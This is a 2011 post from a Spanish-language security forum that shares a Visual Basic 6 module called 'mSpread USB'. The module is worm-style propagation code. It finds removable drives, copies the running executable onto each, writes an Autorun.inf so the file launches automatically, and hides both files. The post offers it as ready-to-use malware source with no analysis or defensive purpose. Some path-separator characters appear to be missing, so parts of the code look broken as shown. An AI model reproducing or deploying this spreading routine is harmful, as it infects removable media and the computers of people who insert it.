Tu comunidad de Seguridad Informatica

Para ver Todo el contenido del foro es necesario estar Registrado!
Antes de comentar o Aportar es Obligado Leer Las: Reglas | Rules
Ya Esta Disponible al publico "LeProject" el Videojuego del Foro Click Aquí Para Ver el Post.
Pitbull Security Labs "Extras" Esta Disponible! [ENTRA]

No estás conectado. Conéctate o registrate

Ver el tema anterior Ver el tema siguiente Ir abajo  Mensaje [Página 1 de 1.]

avatar
Moderadores
Moderadores

Ver perfil de usuario
el Jue Jun 02, 2011 3:37 pm
Código:
Option Explicit

'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO      : mSpread USB                              |||
' FECHA      : 12/29/2010 22:39                        |||
' AUTOR      : Fakedo0r                                |||
' CORREO      : [Tienes que estar registrado y conectado para ver este vínculo]                        |||
' DESCRIPCION : Propagacion por USB                      |||
' USO        : Call USB                                |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------

'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const FILE_ATTRIBUTE_HIDDEN = 2
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean

    Dim lRet        As Long
   
    lRet = CopyFile(src, Dest, FailIfDestExists)
   
    APIFileCopy = (lRet > 0)

End Function
'==============================================================================
' --- FUNCION OBTENER NOMBRE
'==============================================================================
Private Function GetName(File As String) As String

    Dim P          As Long
   
    P = InStrRev(File, "")
   
    If P > 0 Then GetName = Mid(File, P + 1, Len(File))

End Function
'==============================================================================
' --- FUNCION CALL USB
'==============================================================================
Public Function USB()

    Dim D          As Long
    Dim sDrive      As String
   
    For D = 65 To 90
   
        sDrive = Chr(D) & ":"
       
        If GetDriveType(sDrive) = "2" Then
                     
            Dim sName      As String
            Dim sFile      As String
           
            sFile = App.Path & "" & App.EXEName & ".exe"
                     
            sName = GetName(sFile)
       
            Open sDrive & "Autorun.inf" For Append As #1
                Print #1, "[AutoRun]"
                Print #1, "Open=" & sName
                Print #1, "UseAutoPlay = 1"
                Print #1, "shell\open\Command=" & sName
                Print #1, "shell\open\Default = 1"
                Print #1, "shell\explore\Command = " & sName
            Close #1
           
            DoEvents
           
            Call APIFileCopy(sFile, sDrive & sName)
           
            Call SetFileAttributes(sDrive & sName, FILE_ATTRIBUTE_HIDDEN)
            Call SetFileAttributes(sDrive & "Autorun.inf", FILE_ATTRIBUTE_HIDDEN)
           
        End If
       
    Next D

End Function

Ver el tema anterior Ver el tema siguiente Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.